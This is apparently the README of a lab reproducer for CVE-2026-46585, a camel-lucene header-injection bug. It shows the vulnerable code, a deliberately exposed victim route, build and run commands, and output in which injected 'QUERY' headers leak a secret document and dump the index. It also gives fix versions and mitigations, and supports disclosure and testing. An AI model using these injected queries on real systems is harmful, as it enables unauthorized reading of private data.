
Reproducer for CVE-2026-46585: Apache Camel camel-lucene QUERY header injection enabling authorization bypass / index data exfiltration (fixed in 4.14.8/4.18.3/4.21.0)
QUERY Header Injection Reproducer (CVE-2026-46585)This project demonstrates a message-header injection / authorization bypass in Apache Camel's camel-lucene
component, tracked as CVE-2026-46585. The Lucene query producer reads the full-text search phrase from an
Exchange header, but the header's name was the plain string QUERY (and RETURN_LUCENE_DOCS for the
docs flag). Because these names do not start with the Camel / camel prefix, HttpHeaderFilterStrategy —
which blocks only the Camel header namespace at the HTTP boundary — let them pass from an inbound HTTP request
straight into the Exchange. Any HTTP client hitting a route that exposes a Lucene query behind an HTTP consumer
can therefore set the QUERY header and have its value executed against the index, .
This PoC demonstrates the impact as authorization bypass / data exfiltration: an unauthenticated client injects raw Lucene query syntax to read a document the public search endpoint was never meant to return (and a match-all query dumps the entire index).
| Property | Value |
|---|---|
| Component | camel-lucene |
| Affected Class | org.apache.camel.component.lucene.LuceneQueryProducer reading LuceneConstants.HEADER_QUERY (value "QUERY") |
| CWE | CWE-20 (Improper Input Validation) / CWE-639 (Authorization Bypass Through User-Controlled Key) |
| Impact | An HTTP client sets the QUERY header → arbitrary Lucene query executed → read documents outside the intended scope, or CPU-heavy regex queries |
| Preconditions | A route exposes a lucene:...:query producer behind an HTTP consumer (e.g. platform-http); unauthenticated when the consumer is |
| Affected Versions | From 4.0.0 before 4.14.8, from 4.15.0 before 4.18.3, from 4.19.0 before 4.21.0 |
| Fixed Versions | 4.14.8, 4.18.3, 4.21.0 |
| JIRA | CAMEL-23509 |
| Credit | Andrea Cosentino (Apache Software Foundation) and Yu Bao (PayPal) |
Same header-injection family as CVE-2025-27636, CVE-2026-40453, CVE-2026-46454 and CVE-2026-46457, and shares the non-
Camel-prefixed header-constant root cause with the camel-elasticsearchSEARCH_QUERYsibling.
// LuceneConstants (affected 4.18.2) — the header name is the bare word "QUERY":
public static final String HEADER_QUERY = "QUERY";
public static final String HEADER_RETURN_LUCENE_DOCS = "RETURN_LUCENE_DOCS";
// LuceneQueryProducer.process (affected 4.18.2) — the phrase comes straight from that header:
String phrase = exchange.getIn().getHeader(LuceneConstants.HEADER_QUERY, String.class);
...
if (phrase != null) {
searcher.open(indexDirectory, analyzer);
hits = searcher.search(phrase, maxNumberOfHits, totalHitsThreshold, isReturnLuceneDocs); // attacker-controlled
}
LuceneSearcher parses the phrase with a classic QueryParser("contents", analyzer), so the attacker gets full
Lucene query syntax: fielded terms (visibility:secret), match-all (*:*), wildcards, and expensive regular
expressions.
The fix (4.14.8 / 4.18.3 / 4.21.0, CAMEL-23509) renames the header values to the Camel convention —
HEADER_QUERY from QUERY to CamelLuceneQuery, and HEADER_RETURN_LUCENE_DOCS to
CamelLuceneReturnLuceneDocs — so they are filtered on the HTTP boundary like every other Camel control header.
The constant field names are unchanged (routes referencing LuceneConstants.HEADER_QUERY keep working); it is a
breaking change only for routes that set/read these headers by their raw string value.
from("platform-http:/search")
.removeHeaders("Camel*") // documented hardening — see below
.to("lucene:kb:query?indexDir=#kbIndexDir&maxHits=50")
.process(/* render the Hits as text */);
The route author's security model is "this endpoint only serves public search". As documented hardening the
route even strips the Camel control-header namespace at the edge with removeHeaders("Camel*"). That does not
help: the control header is named QUERY, not CamelLuceneQuery, so it is stripped by neither that call nor
the built-in HTTP header filter — which is exactly the point of the CVE (and exactly what the fix's rename
addresses).
The index contains three public documents plus one secret document tagged visibility:secret whose body carries
a benign flag marker. A normal public search (QUERY=onboarding, a plain term against the default contents
field) never returns it; an injected fielded query does.
The victim is the Camel search route and its index; the attacker is an unauthenticated HTTP client that only sets a request header. Everything runs in a single self-contained app.
CVE-2026-46585/
├── pom.xml # camel-platform-http + camel-lucene 4.18.2
├── Dockerfile
├── docker-compose.yml # single self-contained service
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── IndexConfig.java # registers the index directory as a Camel bean (#kbIndexDir)
│ ├── IndexBootstrap.java # builds the Lucene index: 3 public docs + 1 secret doc (the flag)
│ ├── VictimRoute.java # from("platform-http:/search").to("lucene:kb:query")
│ └── ExploitController.java # attacker: GET /search with an injected QUERY header
└── resources/
└── application.properties
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down
mvn clean package -DskipTests
java -jar target/cve-2026-46585-lucene-0.0.1-SNAPSHOT.jar &
curl -s http://localhost:8080/exploit/attack
=== 1) Legitimate public search (QUERY=onboarding) ===
hits=2
- Frequently asked questions about billing and account onboarding.
- Welcome onboarding guide: how to use the public knowledge base and search for articles.
secret leaked: false
=== 2) Injected query (QUERY=visibility:secret) ===
hits=1
- CONFIDENTIAL executive compensation memo - internal distribution only. FLAG{lucene_query_injection_CVE_2026_46585}
secret leaked: true
=== 3) Match-all query (QUERY=*:*) dumps the whole index ===
hits=4
- ... (every document, including the secret one) ...
>>> Authorization-bypass / header-injection proof — an unauthenticated HTTP client read a
>>> document outside the endpoint's intended scope by injecting the QUERY header: true
The legitimate term search returns only public documents. The attack request — differing only by the value of a single header the framework should have filtered — reads the secret document, and a match-all query returns the entire index.
Any route with a lucene:...:query producer reachable from an HTTP consumer. Beyond reading unintended
documents, the attacker can:
*:* or a different field predicate (authorization
bypass).Upgrade to 4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23509). After upgrading, routes that set the query via the raw
header name must use CamelLuceneQuery (and CamelLuceneReturnLuceneDocs) instead of QUERY /
RETURN_LUCENE_DOCS; these Camel-namespaced names are filtered at the HTTP boundary like every other control
header.
Until upgrading:
.removeHeader("QUERY") and .removeHeader("RETURN_LUCENE_DOCS"), then .setHeader("QUERY", constant(...))
(or build it from validated input) at the start of the route.This reproducer is provided for security research and authorized testing only, for a publicly disclosed and fixed vulnerability. Do not use it against systems without explicit permission.